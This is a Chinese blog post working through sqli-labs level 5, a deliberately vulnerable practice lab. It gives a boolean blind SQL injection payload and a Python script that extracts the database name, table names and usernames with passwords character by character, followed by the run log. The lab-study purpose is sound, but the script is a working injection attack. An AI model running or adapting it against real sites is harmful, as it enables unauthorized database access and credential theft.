Loading

sqli-labs刷题

sqli-labs第五题盲注脚本

使用到的payloadSELECT * FROM users WHERE id='1'and if(ascii(mid(database(),1,1))>1,1,0)#' LIMIT 0,1
如果select语句执行,则返回有文本:you are in...

利用这一点写python脚本,下例脚本当然不完全,需要一些改变就可以得到username和password

@user:yxzy
import requests
from tqdm import tqdm

url="http://sql.test/Less-5/"
databasename=""
tablename=""
usernameandpassword=""

for j in tqdm(range(1,40)):
    payload1 = '?id=1%27and%20if(ascii(mid(database(),{},1))>{},1,0)%23'
    payload2 ="?id=1%27and%20if(ascii(mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'),{},1))>{},1,0)%23"
    payload3 ="?id=1%27and%20if(ascii(mid((select%20group_concat(username,':',password%20separator%20'<br>')%20from%20users),{},1))>{},1,0)%23" 
    min=33
    max=127
    while abs(min-max)>1:#s
        mid = int((min+max)*0.5)
        payloadd = payload2.format(str(j), str(mid))
        rsp = requests.get(url=url + payloadd)
        rsp.encoding = 'utf-8'
        if ("You are in..." in rsp.text):
            min=mid
        else:
            max=mid
        print(str(min)+"-"+str(max))
    tablename += chr(max)
    print(tablename)
print(tablename)
  0%|          | 0/39 [00:00<?, ?it/s]80-127
80-103
91-103
97-103
100-103
  3%|▎         | 1/39 [00:12<07:56, 12.55s/it]100-101
e
80-127
103-127
103-115
103-109
106-109
107-109
108-109
em
  5%|▌         | 2/39 [00:27<08:30, 13.79s/it]80-127
80-103
91-103
91-97
94-97
95-97
96-97
ema
  8%|▊         | 3/39 [00:41<08:31, 14.21s/it]80-127
103-127
103-115
103-109
103-106
104-106
 10%|█         | 4/39 [00:56<08:24, 14.40s/it]104-105
emai
80-127
103-127
103-115
103-109
106-109
107-109
107-108
email
 13%|█▎        | 5/39 [01:11<08:14, 14.53s/it]80-127
103-127
103-115
109-115
112-115
113-115
114-115
emails
 15%|█▌        | 6/39 [01:26<08:00, 14.57s/it]33-80
33-56
33-44
38-44
41-44
42-44
 18%|█▊        | 7/39 [01:40<07:47, 14.61s/it]43-44
emails,
80-127
103-127
103-115
109-115
112-115
113-115
 21%|██        | 8/39 [01:55<07:32, 14.61s/it]113-114
emails,r
80-127
80-103
91-103
97-103
100-103
100-101
emails,re
 23%|██▎       | 9/39 [02:07<06:58, 13.96s/it]80-127
80-103
91-103
97-103
100-103
101-103
101-102
emails,ref
 26%|██▌       | 10/39 [02:22<06:50, 14.17s/it]80-127
80-103
91-103
97-103
100-103
 28%|██▊       | 11/39 [02:35<06:22, 13.67s/it]100-101
emails,refe
80-127
103-127
103-115
109-115
112-115
113-115
 31%|███       | 12/39 [02:49<06:16, 13.96s/it]113-114
emails,refer
80-127
80-103
91-103
97-103
100-103
 33%|███▎      | 13/39 [03:02<05:51, 13.53s/it]100-101
emails,refere
80-127
103-127
103-115
109-115
112-115
113-115
 36%|███▌      | 14/39 [03:16<05:46, 13.86s/it]113-114
emails,referer
80-127
103-127
103-115
109-115
112-115
113-115
114-115
emails,referers
 38%|███▊      | 15/39 [03:31<05:38, 14.11s/it]33-80
33-56
33-44
38-44
41-44
42-44
 41%|████      | 16/39 [03:46<05:28, 14.28s/it]43-44
emails,referers,
80-127
103-127
115-127
115-121
115-118
116-118
 44%|████▎     | 17/39 [04:00<05:16, 14.39s/it]116-117
emails,referers,u
80-127
80-103
91-103
91-97
94-97
95-97
 46%|████▌     | 18/39 [04:15<05:03, 14.45s/it]96-97
emails,referers,ua
80-127
80-103
91-103
97-103
100-103
101-103
 49%|████▊     | 19/39 [04:30<04:49, 14.50s/it]102-103
emails,referers,uag
80-127
80-103
91-103
97-103
100-103
 51%|█████▏    | 20/39 [04:42<04:24, 13.92s/it]100-101
emails,referers,uage
80-127
103-127
103-115
109-115
109-112
 54%|█████▍    | 21/39 [04:55<04:03, 13.51s/it]109-110
emails,referers,uagen
80-127
103-127
115-127
115-121
115-118
 56%|█████▋    | 22/39 [05:07<03:44, 13.23s/it]115-116
emails,referers,uagent
80-127
103-127
103-115
109-115
112-115
113-115
 59%|█████▉    | 23/39 [05:22<03:38, 13.65s/it]114-115
emails,referers,uagents
33-80
33-56
33-44
38-44
41-44
42-44
43-44
emails,referers,uagents,
 62%|██████▏   | 24/39 [05:37<03:29, 13.95s/it]80-127
103-127
115-127
115-121
115-118
116-118
 64%|██████▍   | 25/39 [05:51<03:18, 14.16s/it]116-117
emails,referers,uagents,u
80-127
103-127
103-115
109-115
112-115
113-115
 67%|██████▋   | 26/39 [06:06<03:05, 14.29s/it]114-115
emails,referers,uagents,us
80-127
80-103
91-103
97-103
100-103
100-101
emails,referers,uagents,use
 69%|██████▉   | 27/39 [06:18<02:45, 13.77s/it]80-127
103-127
103-115
109-115
112-115
113-115
 72%|███████▏  | 28/39 [06:33<02:34, 14.04s/it]113-114
emails,referers,uagents,user
80-127
103-127
103-115
109-115
112-115
113-115
114-115
emails,referers,uagents,users
 74%|███████▍  | 29/39 [06:48<02:22, 14.24s/it]33-80
33-56
33-44
33-38
33-35
 77%|███████▋  | 30/39 [07:00<02:03, 13.73s/it]33-34
emails,referers,uagents,users"
33-80
33-56
33-44
33-38
33-35
 79%|███████▉  | 31/39 [07:13<01:47, 13.38s/it]33-34
emails,referers,uagents,users""
33-80
33-56
33-44
33-38
33-35
 82%|████████▏ | 32/39 [07:25<01:31, 13.14s/it]33-34
emails,referers,uagents,users"""
33-80
33-56
33-44
33-38
33-35
33-34
emails,referers,uagents,users""""
 85%|████████▍ | 33/39 [07:38<01:17, 12.96s/it]33-80
33-56
33-44
33-38
33-35
 87%|████████▋ | 34/39 [07:50<01:04, 12.84s/it]33-34
emails,referers,uagents,users"""""
33-80
33-56
33-44
33-38
33-35
 90%|████████▉ | 35/39 [08:03<00:51, 12.76s/it]33-34
emails,referers,uagents,users""""""
33-80
33-56
33-44
33-38
33-35
 92%|█████████▏| 36/39 [08:16<00:38, 12.72s/it]33-34
emails,referers,uagents,users"""""""
33-80
33-56
33-44
33-38
33-35
 95%|█████████▍| 37/39 [08:28<00:25, 12.67s/it]33-34
emails,referers,uagents,users""""""""
33-80
33-56
33-44
33-38
33-35
 97%|█████████▋| 38/39 [08:41<00:12, 12.62s/it]33-34
emails,referers,uagents,users"""""""""
33-80
33-56
33-44
33-38
33-35
33-34
emails,referers,uagents,users""""""""""
emails,referers,uagents,users""""""""""
100%|██████████| 39/39 [08:53<00:00, 13.69s/it]

Process finished with exit code 0

posted @ 2022-02-01 00:13  雨下整夜z  阅读(35)  评论(0)    收藏  举报